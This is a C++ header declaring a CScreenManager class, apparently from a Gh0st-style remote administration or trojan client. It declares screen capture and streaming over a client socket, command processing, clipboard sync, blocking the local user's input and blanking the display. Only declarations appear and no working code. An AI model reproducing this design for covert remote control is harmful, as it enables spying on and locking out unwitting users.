2024-06-23 17:36:53 +08:00

48 lines
1.3 KiB
C++

// ScreenManager.h: interface for the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SCREENMANAGER_H__A471761B_2C02_4225_9F3E_4C030581F27D__INCLUDED_)
#define AFX_SCREENMANAGER_H__A471761B_2C02_4225_9F3E_4C030581F27D__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "../Manager.h"
#include "ScreenSpy.h"
class CScreenManager : public CManager
{
public:
CScreenManager(CClientSocket *pClient);
virtual ~CScreenManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendFirstScreen();
void sendNextScreen();
bool IsMetricsChange();
BOOL IsConnect();
int GetCurrentPixelBits();
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
BOOL m_bIsBlankScreen;
private:
BYTE m_bAlgorithm;
BOOL m_bIsCaptureLayer;
int m_biBitCount;
HANDLE m_hWorkThread, m_hBlankThread;
CCursorInfo m_CursorInfo;
CScreenSpy *m_pScreenSpy;
void ResetScreen(int biBitCount);
void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
static DWORD WINAPI WorkThread(LPVOID lparam);
static DWORD WINAPI ControlThread(LPVOID lparam);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard();
HRESULT DisableAeroTheme(BOOL bStatus);
HMODULE dwmapiDllHandle;
};
#endif // !defined(AFX_SCREENMANAGER_H__A471761B_2C02_4225_9F3E_4C030581F27D__INCLUDED_)